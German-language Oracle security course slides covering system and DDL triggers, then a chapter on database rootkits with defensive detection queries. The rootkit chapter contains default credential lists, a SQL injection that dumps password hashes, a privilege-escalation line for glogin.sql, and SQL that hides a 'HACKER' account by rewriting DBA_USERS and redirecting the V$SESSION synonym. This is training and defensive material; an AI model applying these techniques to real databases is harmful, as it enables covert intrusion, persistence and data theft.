Abhängig vom Terminal
sys_context('userenv','Terminal') ='Hauptterminal'
MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 4
Ein After Logon Trigger zündet immer dann, wenn ein Benutzer sich an der Datenbank anmeldet. Mit diesem Trigger könnte z. B. ein Anmelden von bestimmten Konstellationen abhängig gemacht werden (z. B. Uhrzeit, Tag, Benutzername, u.s.w.)
CREATE OR REPLACE TRIGGER afterlogonAFTER LOGON on DATABASEBEGINDurch den RAISE… wird der Benutzer wieder abgemeldetRAISE_APPLICATION_ERROR (-20001, 'You are not allow ed to logon from this terminal');END;/Rem Mit zeitlicher SteuerungIF ( TO_CHAR( sysdate, 'hh24' ) NOT BETWEEN 7 AND 1 8 ) THENrem abhängig vom TerminalSYS_CONTEXT('USERENV','TERMINAL') ='HAUPTTERMINAL'
REM abhängig vom BenutzerSYS_CONTEXT('USERENV', 'CURRENT_USER') ='USER'
Stichwörter: Logon Trigger
Security I 5 - 4
System -Trigger
Folgende System-Ereignisse können Trigger auslösen.
AFTER LOGON ON SCHEMA | DATABASE
BEFORE LOGOFF ON SCHEMA | DATABASE
AFTER SERVERERROR ON SCHEMA | DATABASE
AFTER STARTUP ON DATABASE
BEFORE SHUTDOWN ON DATABASE
BEFORE UNPLUG ON PLUGGABLE DATABASE (ab 12c)
Vorsicht bei einem AFTER LOGON ON DATABASE-Trigger: Schlägt er fehl, kann sich nur noch ein SY SDBA einloggen
MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 5
Systemtrigger
In System- und DDL-Triggern stehen eine Reihe neuer Attribute zur Verfügung, die alle inclusive Schemaname des Owners (=SYS) verwendet werden müssen. Alle neuen Trigger verfügen über folgende Attribute:
• SYSEVENT (Return VARCHAR2(20)): Name des auslösenden Events• LOGIN_USER (Return VARCHAR2(30)): angemeldeter User• INSTANCE_NUM (Return NUMBER): Instanznummer• DATABASE_NAME (Return VARCHAR2(50)): Datenbankname
Bei SERVERERROR-Triggern sind zusätzlich verfügbar:
• SERVER_ERROR(n) (Return NUMBER): Fehlernummer an der Position n im errorstack
• IS_SERVERERROR(<Fehlernummer>) (Return BOOLEAN): Gibt TRUE zurück, falls der Fehler mit dieser Fehlernummer aufgetreten ist
Ab Version 8.1.6 gibt es Public Synonyme für diese Attribute:
• ORA_SYSEVENT für SYS. SYSEVENT • ORA_LOGIN_USER für SYS. LOGIN_USER • ORA_INSTANCE_NUM für SYS. INSTANCE_NUM• ORA_ DATABASE_NAME für SYS.DATABASE_NAME • ORA_ SERVER_ERROR für SYS. SERVER_ERROR• ORA_ IS_SERVERERROR für SYS. IS_SERVERERROR
Stichwörter: System-Trigger
Security I 5 - 5
Beispiel System -Trigger
CREATE OR REPLACE TRIGGER log_trigAFTER LOGON ON DATABASEBEGIN
INSERT INTO logevents (l_user, l_time)VALUES(SYS.LOGIN_USER, SYSDATE);COMMIT; -- geht!
END;
Anmerkungen:
SYS.LOGIN_USER ist ein Attribut, das in jedem Trigg er zur Verfügung steht.
Auch SYS.SYSEVENT kann in jedem System- oder DDL-Trigger abgefragt werden.
MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 6
Systemtrigger
Ab Version 8.1.6 kam für AFTER LOGON-Trigger ein weiteres Attribut hinzu:
• ORA_CLIENT_IP_ADDRESS (Return VARCHAR2): IP-Adresse des Client, falls die Verbindung über TCP/IP läuft
Ab Version 9i kamen folgende Error-Attribute dazu:
• ORA_SERVER_ERROR_DEPTH (Return BINARY_INTEGER): Tiefe des error stack
• ORA_SERVER_ERROR_MSG (n, Return VARCHAR2): Fehlermeldung an Position n des error stack
• ORA_SERVER_ERROR_NUM_PARAMS (n, Return BINARY_INTEGER): Anzahl der ersetzten Wildcards bei Fehlermeldung an Position n des error stack
• ORA_SERVER_ERROR_PARAM (n, x, Return VARCHAR2): Wert, der anstelle der x-ten Wildcard bei Fehlermeldung an Position n des error stack eingesetzt wurde
Stichwörter:
Security I 5 - 6
DDL-Trigger
Folgende DDL-Befehle können ebenfalls als Trigger-Event dienen:
CREATE
ALTER
DROP
MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 7
DDL-Trigger
Auch DDL-Trigger gibt es ab Version 8i. Im ersten Release waren die unterstützten Events noch auf die drei wichtigsten, oben aufgeführten Befehle beschränkt.
In DDL-Triggern stehen neben den auch in allen Systemtriggern verfügbaren Attributen noch folgende weitere Attribute zur Verfügung, die ebenfalls inclusive Schemaname des Owners (=SYS) angesprochen werden müssen:
• DICTIONARY_OBJ_TYPE (Return VARCHAR2(20)): Objekttyp, auf den DDL-Befehl abgesetzt wurde
• DICTIONARY_OBJ_NAME (Return VARCHAR2(30)): Objektname, auf den DDL abgesetzt wurde
• DICTIONARY_OBJ_OWNER (Return VARCHAR2(30)): Objektinhaber• DES_ENCRYPTED_PASSWORD (Return VARCHAR2): Passwort des
geänderten Benutzers; nur bei CREATE / ALTER USER
Ab Version 8.1.6 existieren auch für diese Attribute Synonyme:
• ORA_DICT_OBJ_TYPE für SYS. DICTIONARY_OBJ_TYPE• ORA_DICT_OBJ_NAME für SYS. DICTIONARY_OBJ_NAME• ORA_DICT_OBJ_OWNER für SYS. DICTIONARY_OBJ_OWNER• ORA_DES_ENCRYPTED_PASSWORD für
SYS.DES_ENCRYPTED_PASSWORD
Stichwörter: DDL-Trigger
Security I 5 - 7
DDL-Trigger (ff)
Weitere DDL-Befehle:
RENAME
TRUNCATE
ANALYZE
ASSOCIATE STATISTICS
DISASSOCIATE STATISTICS
AUDIT
NOAUDIT
COMMENT
MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 8
DDL-Trigger
Ab Version 8.1.6 (= Version 8i Release 2) kamen eine Reihe weiterer DDL- und auch DCL-Befehle dazu. Voraussetzung für die Erstellung der entsprechenden Trigger ist, dass der compatible-Parameter der Datenbank auf mindestens 8.1.6 eingestellt wird.Auch eine Reihe weiterer Attribute kam hinzu, die allerdings alle auf einen oder wenige Befehle beschränkt sind:
• ORA_IS_CREATING_NESTED_TABLE (Return BOOLEAN): Nur bei CREATE TABLE
• ORA_IS_ALTER_COLUMN(spaltenname) (Return BOOLEAN): Nur bei ALTER TABLE
• ORA_IS_DROP_COLUMN(spaltenname) (Return BOOLEAN): Nur bei ALTER TABLE
Für ASSOCIATE / DISASSOCIATE STATISTICS wurden folgende Attribute neu eingeführt:
• ORA_DICT_OBJ_NAME_LIST(name_list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER)
• ORA_DICT_OBJ_OWNER_LIST(name_list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER)
Returnwert ist jeweils die Anzahl der Einträge in name_list; diese Einträge entsprechen den Namen der Owner bzw. der Objekte, die durch den Befehl betroffen sind. ORA_NAME_LIST_T ist TABLE OF VARCHAR2(64).
Stichwörter:
Security I 5 - 8
DDL-Trigger (ff)
Weitere DCL-Befehle:
GRANT
REVOKE
MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 9
DDL-Trigger
Im Zusammenhang mit den DCL-Befehlen wurden folgende Attribute neu eingeführt:
• ORA_GRANTEE(list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER): Nur bei GRANT
• ORA_REVOKEE(list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER): Nur bei REVOKE
• ORA_PRIVILEGE_LIST(list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER): Bei GRANT und REVOKE
• ORA_WITH_GRANT_OPTION(Return BOOLEAN): Nur bei GRANT; Gibt zurück, ob Grant-Option erteilt wurde
Rückgabewert ist bei den ersten drei Funktionen wiederum die Anzahl der Einträge in list.
Eingetragen werden:• User, denen Privileg erteilt wurde (ORA_GRANTEE)• User, denen Privileg entzogen wurde (ORA_REVOKEE)• Namen der erteilten / entzogenen Privilegien (ORA_PRIVILEGE_LIST)
Stichwörter:
Security I 5 - 9
DDL-Trigger (ff)
Als Timing ist bei allen DDL-Triggern sowohl BEFORE als auch AFTER möglich.
Als Gültigkeitsbereich gibt es bei allen DDL-Trigge rn ON SCHEMA oder ON DATABASE.
Alle oben aufgeführten Ereignisse werden mit einem BEFORE | AFTER DDL-Trigger (ON SCHEMA |DATABASE) erfasst.
Im Trigger-Body stehen zusätzlich folgende Attribut e zur Verfügung:
SYS.DICTIONARY_OBJ_NAME: Name des (erzeugten, gelöschten...) Objekts
SYS.DICTIONARY_OBJ_OWNER: Owner des (erzeugten, gelöschten...) Objekts
MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 10
Stichwörter:
Security I 5 - 10
Beispiel DDL-Trigger
CREATE OR REPLACE TRIGGER create_trigAFTER CREATE ON DATABASEBEGIN
INSERT INTO logcreates (l_owner, l_name, l_time)
VALUES(SYS.DICTIONARY_OBJ_OWNER,SYS.DICTIONARY_OBJ_NAME, SYSDATE);
END;
Ein COMMIT ist nicht nötig
MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 11
DDL-Trigger
DML-Befehle in DDL-Trigger brauchen kein COMMIT, da dieses durch den auslösenden Befehl automatisch erfolgt, aber nur, sofern der DDL-Befehl nicht fehlschlägt.
Ein Laufzeitfehler in einem DDL-Trigger oder ein RAISE_APPLICATION_ERROR machen auch den DDL-Befehl rückgängig.
Stichwörter:
Security I 5 - 11
Weiteres Beispiel
Verhindern der Vergabe von Rechten (der Emp-Tabelle) an Public (einfache Version)
CREATE OR REPLACE TRIGGER create_trigAFTER GRANT ON DATABASEDECLAREv_ora_name_list ora_name_list_t;ret binary_integer;BEGINret:=ora_grantee(v_ora_name_list);
IF SYS.DICTIONARY_OBJ_OWNER='SCOTT' AND SYS.DICTIONARY_OBJ_NAME='EMP'AND v_ora_name_list(v_ora_name_list.first)='PUBLIC' THEN
raise_application_error(-20001,'No Grants to PUBLIC allowed');
END IF; END;
MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 12
Hinweis:Verbesserte Version, die auch den Fall abfängt, dass das Recht an Mehrere vergeben wird und Public nicht der erste ist.
CREATE OR REPLACE TRIGGER create_trigAFTER GRANT ON DATABASEDECLAREv_ora_name_list ora_name_list_t;ret binary_integer;
BEGINret:=ora_grantee(v_ora_name_list);IF SYS.DICTIONARY_OBJ_OWNER='SCOTT' and SYS.DICTIONARY_OBJ_NAME='EMP' THEN
FOR i IN v_ora_name_list.first ..v_ora_name_list.last LOOP
IF v_ora_name_list(i)='PUBLIC' THENraise_application_error(
-20001,'No Grants to PUBLIC allowed'); END IF;
END LOOP;END IF; END;/
Stichwörter: Rechtevergabe
Security I 5 - 12
Kapitel 6Rootkits
Security II 6 - 1
Definition
Rootkit-Programme manipulieren das Betriebssystem s o, dass bestimmte Dateien, Registry-Einträge oder Proz esse für Systemprogramme wie Windows Explorer, Registrierungseditor oder Taskmanager unsichtbar werden.
Damit ist es leicht, unbemerkt schädliche Codes/Programme auf dem PC einzuschleusen.
Sony BMG machte sich diese Technik für seinen umstrittenen und mittlerweile zurückgezogenen XCP-Kopierschutz für CDs zunutze.
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 2
Security II 6 - 2
Rootkit unter Unix
Die ersten Versionen modifizierten die Programme ps , ls und passwd um ihre Anwesenheit zu verbergen und ungehindert im System zu agieren.
Damit konnten Tastatureingaben (Keylogger) mitgeschnitten oder Dateien unbemerkt ausgelesen od er modifiziert werden.
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 3
Security II 6 - 3
Wer greift mich an?
Extern:
Script Kiddies
Professionelle Hacker
Konkurrenz?
Terroristen, NSA
Intern:
Entlassene Mitarbeiter
Verärgerte Mitarbeiter
Mitarbeiter mit Liebeskummer ����
Bestochene Mitarbeiter (Konkurrenz, Geheimdienst, … )
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 4
Security II 6 - 4
Was macht der Angreifer?
Daten auslesen (geheime, vertrauliche Unterlagen, Kreditkarten-Informationen, Gehälter, …)
Daten verändern (sehr schwer nachvollziehbar! Wie lange bewahren Sie Ihre Backups auf?)
Daten löschen (evtl. incl. Backup), formatieren
Von dort aus weitere Datenbanken/Rechner hacken
Missbrauch als Datencontainer für illegale Software/Filme/Musik/Bilder!
Verwendung des Rechners als Spam-Zombie, DoS Client
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 5
Security II 6 - 5
Wie komme ich in die Oracle Datenbank?
Bekannte Benutzeraccounts/Passwörter versuchen
Top 10SYSTEM/MANAGER
SYS/CHANGE_ON_INSTALL AS SYSDBA (Bis 10g)
SYS/SYS AS SYSDBA
DBSNMP/DBSNMP
MDSYS/MDSYS
SCOTT/TIGER
OUTLN/OUTLN
RMAN/RMAN
HR/HR
CTXSYS/CTXSYS
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 6
Hinweis:Pete Finnigan hat auf seiner Webseite mehr als 100 Oracle Demo Accounts mit Passwörtern zusammengefasst.http://www.petefinnigan.comIhre Applikation sollte möglichst auch über ein langes Passwort verfügen, daßnicht leicht erraten werden kann!
Security II 6 - 6
Wie komme ich in die Datenbank (f)
Keylogger auf den Client installieren. (Gibt es auc h als Hardware zu kaufen)
Passwörter in Skript-Dateien (Backupskripten, Monitoring-Skripten) suchen.
Einschleusen von Code in Skipt-Dateien (catalog.sql , catproc.sql, utlxplan.sql, utlrp.sql).
Passwort in der History suchen:
Dos: <F7>
Unix: history
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 7
Hinweis:Gehen Sie doch mal z.B. mit dem Texteditor Ultraedit in Ihrem Skriptverzeichnis auf die Suche nach " AS SYSDBA" oder "CONNECT <ihrUser>".Sind diese Dateien ausreichend geschützt, bzw. kann man das Passwort herausnehmen?Wenn Sie den Arbeitsplatz verlassen, sollte sich nach kurzer Zeit ein Bildschirmschoner einschalten, der mit einem Passwort versehen ist. Damit können Sie verhindern, dass jemand in Ihrer Abwesenheit Ihre Tastatureingaben über die History nachverfolgen kann.
Security II 6 - 7
Wie komme ich in die Datenbank (ff)
Brute Force Attack (Alle Passwort-Kombinationen versuchen)
GLOGIN.SQL editieren:GRANT DBA TO RSYS IDENTIFIED BY HACKER;
Versenden von manipulierten SQL*Net Paketen (ohne Account) an die Datenbank mit eingeschleustem Code.
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 8
Hinweis:Sperren Sie die Dateien glogin.sql und login.sql gegenüber Schreibzugriffen.
Security II 6 - 8
Wie komme ich in die Datenbank (ff)
Applikation besitzt DBA-Rechte ����, deshalb
SQL Injection bei dynamischem Cursor:
SELECT name FROM kunden where /* kunden_id=1 */kunden_id=1 UNION SELECT username||'.'||password FROM dba_users;
Danach mit Brute-Force-Tool orabf das Passwort knacken.
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 9
Hinweis:
Verwenden Sie in PL/SQL möglichst wenig dynamisches SQL. Vertreter dieser Generation sind:
• EXECUTE IMMEDIATE• DBMS_SQL• REF CURSOR
Security II 6 - 9
Wie komme ich in die Datenbank (ff)
Hacken des Listeners (z.B. Einschleusen von Codes, der einen Benutzer mit Administratoren-Rechten anlegt)
Social Hacking
Passwörter erraten (Susi, Uschi, BMW, FC Bayern, …)
Klebt ein Post-It auf dem Bildschirm mit dem Passwo rt, oder steht es unter der Tastatur?
USB-Sticks mit Trojaner in Firmennähe liegen lassen
Phishing
Verschicken Sie Emails mit Text: Für Wartungsarbeit en auf der Datenbank für welche Ihr Password benötigt wird ☺☺☺☺
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 10
SQL*Net Tracing
Wenn der Parameter trace_level_client = 16 in sqlnet.ora clientseitig gesetzt wurde, können SQL-Kommandos mitgelesen werden:
… nspsend: 01 28 61 6C 74 65 72 20 |.(alter.|… nspsend: 75 73 65 72 73 20 73 79 |users.sy|… nspsend: 73 74 65 6D 20 69 64 65 |stem.ide|… nspsend: 6E 74 69 66 69 65 64 20 |ntified.|… nspsend: 62 79 20 6D 61 6E 61 67 |by.manag|… nspsend: 65 72 01 00 00 00 01 00 |er......|
Security II 6 - 10
Ich bin drin ...
Was nun ?
Verwendung von diversen PL/SQL Packages, um Daten aus der Datenbank zu entwenden
utl_file => schreibt auf lokale Platte
utl_tcp, utl_http =>verschickt per http/ftp/email
utl_smtp, utl_mail => verschickt email
dbms_metadata, …). => zeigt Objektstrukturen an
Freischalten von ftp oder http Ports mittels dbms_x db
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 11
Security II 6 - 11
Namensauflösung bei Objekten
Wenn ein Objektname (Tabelle, View, Package, Procedure, Function) angegeben wird, geht Oracle wie folgt vor:
1. Gibt es im lokalem Schema ein Objekt mit diesen Namen (Achtung das lokale Schema lässt sich ändern mittel s:
ALTER SESSION SET current_schema=<schema>;
Wenn Nein,
2. Gibt es ein lokales Synonym mit diesem Namen
Wenn Nein
3. Gibt es ein Public Synonym mit diesem Namen
Wenn Nein
4. Fehlermeldung ausgeben (z.B. ORA-00942: Tabelle oder View nicht vorhanden)
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 12
Beispieltricks:
Legen Sie eine lokale View mit Namen all_tables für den den Benutzer SCOTT an:
• CREATE OR REPLACE VIEW scott.all_tables ...Legen Sie ein lokales Package utl_file für Scott an:
• CREATE OR REPLACE package scott.utl_fileLegen Sie ein lokales Synonym an:
• CREATE SYNONYM utl_http ...Legen Sie ein globales Synonym an:
• CREATE PUBLIC SYNONYM utl_tcp ...
Security II 6 - 12
Manipulation der Verwaltungsviews
Ein Hacker muss nur in den üblicherweise verwendete n Verwaltungsviews zusätzliche Filter einbauen, die d ie gewünschten Einträge verstecken.
Da die meisten grafischen Tools nur die Inhalte von ALL_/DBA_ Objekten anzeigen, kann ein Hacker sich h ier verstecken
Wenn Sie herausfinden möchten auf welchen Tabellen eine Verwaltungsview basiert, sehen Sie in dba_view s oder noch besser in view$ nach
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 13
Beispiele:
1. Wir nehmen die offizielle Verwaltungsview um herauszufinden, auf welcher Tabelle die View session_privs basiert:
• SELECT text FROM dba_views WHERE view_name='SESSION_PRIVS';
• Text------------------------
• select spm.name from sys.v$enabledprivs ep, system_privilege_map spmwhere spm.privilege = ep.priv_number
2. Die gleiche Abfrage nun mit der Original-Tabelle:• select text from view$ where obj# in (select obj# from
sys.obj$ where name='SESSION_PRIVS')
Security II 6 - 13
Manipulation der Verwaltungsviews
Beispiel: DBA_USERS
Hinzufügen in der View:
CREATE OR REPLACE VIEW dba_users ..AND username <> 'HACKER';
Blendet in der View nun 'Hacker' aus
Alternative:
Hacker arbeitet unter einem immer vorhandenen Accou nt:
SYS, SYSTEM, OUTLN, SYSMAN, XDB, MDSYS, PERFSTAT
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 14
DD Tabelle DD View Bemerkung
user$ DBA_USER Alle installierten Benutzer und Rollen
obj$ DBA_OBJECTS Alle installierten Objekte (Tabs/Pro cs/Trigger, ...)
tab$ DBA_TABLES Alle installierten normalen relat. Ta bellen
col$ DBA_TAB_COLUMNS
Alle Spalten der Tabellen
view$ DBA_VIEWS Alle installierten Views
trigger$ DBA_TRIGGERS Alle installierten Trigger
link$ DBA_DB_LINKS Alle Datenbank-Links
source$ DBA_SOURCE Alle Quellcodes (auch gewrappte)
syn$ DBA_SYNONYMS Alle Synonyme
ts$ DBA_TABLESPACES
Alle Tablespaces
Security II 6 - 14
Verwaltungsviews (V$...)
GV$ und V$ Views sind Performance-Views, die nicht im üblichen Verwaltungsapparat (Tablespace SYSTEM) gespeichert werden, sondern z.B. im Controlfile.
Sie basieren auch nicht auf einer View, sondern auf einer festen Struktur.
Jedoch heißen die Originalobjekte V_$... & GV_$ und auf diesem liegt dann ein Public Synonym.
Beispiel:
V_$SESSION => Public Synonym mit Namen V$SESSION
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 15
Security II 6 - 15
Verwaltungsviews (V$...)
Der Hackertrick besteht nun darin, eine lokale View mit Namen V$... (z.B: V$SESSION) anzulegen, in der ein gewünschter Filter gesetzt wird.
Beispiel:
CREATE OR REPLACE VIEW sys.V$$sessionASSELECT * FROM sys.V_$sessionWHERE username <> 'HACKER';
DROP PUBLIC SYNONYM v$session;
CREATE public synonym v$session FOR sys.v$$session;
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 16
Security II 6 - 16
Verwaltungsviews (V$...)
Alternativ wird einfach das Public Synonym auf ein anderes Objekt umgeleitet:
CREATE PUBLIC SYNONYM v$session FOR system.v$session_hack;
oder als lokales Synonym:CREATE SYNONYM v$session
FOR system.v$session_hack;
Hinweis:Zum Auslesen der View-Struktur verwendet man:
SELECT dbms_metadata.get_ddl('VIEW','SYS','<VIEW_NAME>')FROM dual;
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 17
Security II 6 - 17
Abweichungen bei Benutzertabellen
Vergleichen Sie Original-Tabelle mit der DBA View:
SELECT name FROM sys.user$minusSELECT username FROM dba_usersminusSELECT role FROM dba_roles;
Ergebnismenge sollte nur die folgenden Benutzer ergeben:
PUBLIC
_NEXT_USER
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 18
Abweichungen bei Triggern:SELECT u.name,o.name
FROM sys.trigger$ t, sys.user$ u, sys.obj$ oWHERE t.obj#=o.obj# and o.owner#=u.user#MINUS
SELECT owner,trigger_name FROM dba_triggers;Die Liste sollte leer sein.
Abweichungen bei JobsSELECT job,lowner,powner,what
FROM sys.job$MINUS
SELECT job,log_user,priv_user,what FROM dba_jobs;Die Liste sollte leer sein.
Abweichungen bei ObjektenSELECT u.name,o.name
FROM sys.obj$ o, sys.user$ u WHERE u.user#=o.owner#
AND o.type# IN (7,8,9,11)MINUS
SELECT owner,object_name FROM dba_objects
WHERE object_type IN ('PROCEDURE', 'PACKAGE', 'PACKAGE BODY', 'FUNCTION');
Die Liste sollte leer sein.
Security II 6 - 18
Abweichung von Public Synonymen
SELECT u.name "Syn.-Owner", o.name as "Syn.-Name", s.owner, s.name as "ORIG.-NAME" FROM sys.syn$ s, sys.obj$ o, sys.user$ u WHERE o.owner#=u.user# AND s.obj#=o.obj# AND o.name in ('V$SESSION','V$DATABASE','V$INSTANCE');
Beispiel Ergebnismenge:
PUBLIC V$INSTANCE SYS V_$INSTANCE
PUBLIC V$DATABASE SYS V_$DATABASE
PUBLIC V$SESSION SYS V$$SESSION
SYSTEM V$DATABASE SYSTEM V$LOGFILE
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 19
SELECT o.name, s.owner, s.name, s.nodeFROM sys.syn$ s, sys.obj$ o
WHERE o.obj# = s.obj#AND o.type# = 5AND o.owner# = userenv('SCHEMAID')AND (o.name LIKE 'V$%'
OR o.name LIKE 'USER_%' OR o.name LIKE 'ALL_%' OR o.name LIKE 'DBA_%'OR o.name LIKE 'DBMS_%' OR o.name LIKE 'UTL_%');
Als Benutzer SYSTEM (nicht SYS) oder beliebig anderer Benutzer, sollte diese Liste leer sein.
Security II 6 - 19
Abweichung bei Privilegien
Leider ist eine Überwachung/Überprüfung hier sehr schwierig, denn System- oder Objektrechte können entweder
Direkt
Über eine Rolle
Über eine Rolle die in einer Rolle liegt
Über eine Rolle die in einer Rolle die einer Rolle liegt
{Über ein Rolle} 255
zugewiesen werden
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 20
Hinweis:
Die Original-Views bestehen aus folgenden Selects:
DBA_TAB_PRIVS:select ue.name, u.name, o.name, ur.name, tpm.name,
decode(mod(oa.option$,2), 1, 'YES', 'NO'),decode(bitand(oa.option$,2), 2, 'YES', 'NO')
from sys.objauth$ oa, sys.obj$ o, sys.user$ u, sys.user$ ur, sys.user$ ue,table_privilege_map tpmwhere oa.obj# = o.obj#and oa.grantor# = ur.user# and oa.grantee# = ue.user#and oa.col# is null and oa.privilege# = tpm.privilegeand u.user# = o.owner#;
DBA_SYS_PRIVS:select u.name,spm.name,decode(min(option$),1,'YES','NO')from sys.system_privilege_map spm, sys.sysauth$ sa, user$ uwhere sa.grantee#=u.user# and sa.privilege#=spm.privilegegroup by u.name,spm.name
Security II 6 - 20
SELECT führt DDL aus
Sie waren bisher der Meinung, ein SELECT liest imme r nur und verändert nichts??
CREATE OR REPLACE FUNCTION ftest RETURN NUMBER ISPRAGMA AUTONOMOUS_TRANSACTION;BEGINEXECUTE IMMEDIATE 'create table t ( d date)';RETURN 1;END;
CREATE OR REPLACE VIEW emp_view ASSELECT * FROM scott.empWHERE 1=ftest;
SELECT * FROM emp_view; /*Legt Tabelle t an*/
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 21
Hinweis:
Die moderne Variante ab 12c kommt auch ohne CREATE PROCEDURE Recht aus:WITH FUNCTION f(id IN NUMBER) RETURN NUMBERIS PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 'create table t ( d date)';RETURN 1;END;SELECT f(object_id) FROM all_objectsWHERE rownum <2select * from t;
Security II 6 - 21
Objekte als Oracle eigene ausgeben
Welche der folgenden Objekte sind nicht von Oracle?
sys.dbms_backup_restore
sys.plitblm
sys.dbms_pickler
sys.dbms_utl
sys.sys_stub_for_purity_analysis
sys.utl_ldap
ctxsys.drue
ctxsys.drixml
sys.dbms_schema_name_export
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 22
Hinweis:Die Idee zu diesem Trick kam mir beim Thema Steganographie. Da wird eine Nachricht z.B. dadurch verschlüsselt, dass sie in einem Bild versteckt wird. Die ideale Verschlüsselung ist die, wo man nicht erkennt das geheime Informationen vorhanden sind.
Was wäre also besser für einem Baum, als sich in einem Wald zu verstecken, oder auf Oracle übertragen:
Wie könnte man Daten einer Hacker-Tabelle, oder Funktionen/Proceduren/Packages eines bösen Buben besser verstecken als zwischen den bereits 50.000 installierten Oracle Objekten? (wer SAP hat, kann das nochmals potenzieren ☺ )
Security II 6 - 22
Lösung
Welche der folgenden Objekte sind nicht von Oracle?
sys.dbms_backup_restore (OK)
sys.plitblm (OK)
sys.dbms_pickler (OK)
sys.dbms_utl (Falsch)
sys.sys_stub_for_purity_analysis (OK)
sys.utl_ldap (Falsch)
ctxsys.drue (OK)
ctxsys.drixml (Falsch)
sys.dbms_schema_name_export (Falsch)
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 23
Security II 6 - 23
DDL Trigger
Merken Sie sich die Liste der derzeit verwendeten D DL-Trigger.
SELECT u.name,t.obj#,t.definition,t.whenclause, t.action#
FROM sys.trigger$ t, sys.user$ u, sys.obj$ o
WHERE t.obj#=o.obj# AND o.owner#=u.user#AND update$=0 AND insert$=0 AND delete$=0
ORDER BY name;
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 24
Hinweis:Das Problem von DDL Triggern ist, dass sie bei richtiger Anwendung eine Menge Unsinn anrichten können.
Kleine Beispiele gefällig?, OK
•Der DROP auf einen USER/TABLESPACE oder ein Objekt wird verhindert. In unserem Security Kurs zeige ich Objekte, die mit normalen Mitteln nicht mehr gelöscht werden können.•Nach dem Start der Datenbank wird immer eine Procedure ausgeführt (z.B. email an den Hacker)•Nach dem Anmelden eines Benutzer wird immer eine Funktion gestartet•Oracle empfiehlt (wohl wegen der unüberschaubaren Risiken) deshalb bei einer Migration alle DDL auszuschalten•Dazu muss die DB gestoppt werden, der Parameter "_system_trig_enabled" auf False gesetzt und die DB erneut gestartet werden.
Security II 6 - 24
Wie kann man sich schützen?
Gehen Sie bei Verdacht auf die Originaltabellen:
dba_users ���� sys.user$
dba_tables ���� sys.tab$
dba_objects ���� sys.obj$
v$session ���� sys.v_$session
v$process ���� sys.v_$process
Bei Packages, den Eigentümer voranstellen:
utl_file ���� sys.utl_file
dbms_crypto ���� sys.dbms_crypto
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 25
Security II 6 - 25
View Definitionen mit Hash-Wert speichern
Speichern Sie für alle Views die Länge des View-Tex tes und einen Hash-Wert, drucken Sie die Liste aus und legen Sie diese in einen Tresor
SET SERVEROUTPUT ON SIZE UNLIMITED
DECLARE /* als SYS starten */v_len NUMBER;
BEGIN
FOR c IN (SELECT owner,view_name,text FROM dba_view s WHERE owner='SYS' ORDER BY 2) LOOP
v_len:=length(c.text);dbms_output.put_line(c.owner||'.'||rpad(c.view_name ,30,' ')||'('||lpad(v_len,4,' ')||') '||dbms_crypto.Hash(utl_raw.cast_to_raw(c.text),dbms_crypto.hash_md5));END LOOP;END;
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 26
Beispielausgabe:SYS.ALL_TAB_COLS (6684) 69D3E30BA5A648E5374B9EB86DDEF30DSYS.ALL_TAB_COL_STATISTICS (1985) 0B63DA6F08276D35366BEAEA7D6A7EC8SYS.ALL_TAB_COLUMNS ( 525) 2D8F088AB0FDAEBE59486EF7A838616ESYS.ALL_TAB_COMMENTS (1605) 7FDE414934207C71ECDD4416D9080D09SYS.ALL_TAB_HISTOGRAMS (5491) B0D4684558499CE808BCFFCDFE9CC607SYS.ALL_TABLES (4691) F43B61AB060F5E27F0EA9E2E8F1FA689SYS.ALL_TAB_MODIFICATIONS (3137) 8CC0542B039FA72449ECF6C36807B71ASYS.ALL_TAB_PARTITIONS (5804) 7EA4FAE6208376DE8E04B1199CD0F58FSYS.ALL_TAB_PRIVS ( 559) B94BB84E15C1E5829EC29856E73DA126…Bei Verdacht auf einen Angriff, lassen Sie die Routine erneut laufen und vergleichen Sie die Ausgabe.
Security II 6 - 26
Rootkit Version 2
Vorgestellt von Alexander Kornbrust auf der Blackha t Konferenz 2006
Er ersetzt in den Oracle Binaries alle Vorkommen de r DD Tabelle user$ durch einen anderen Namen z.B. us ar$
Danach wird eine Kopie mit Namen user$ erzeugt.
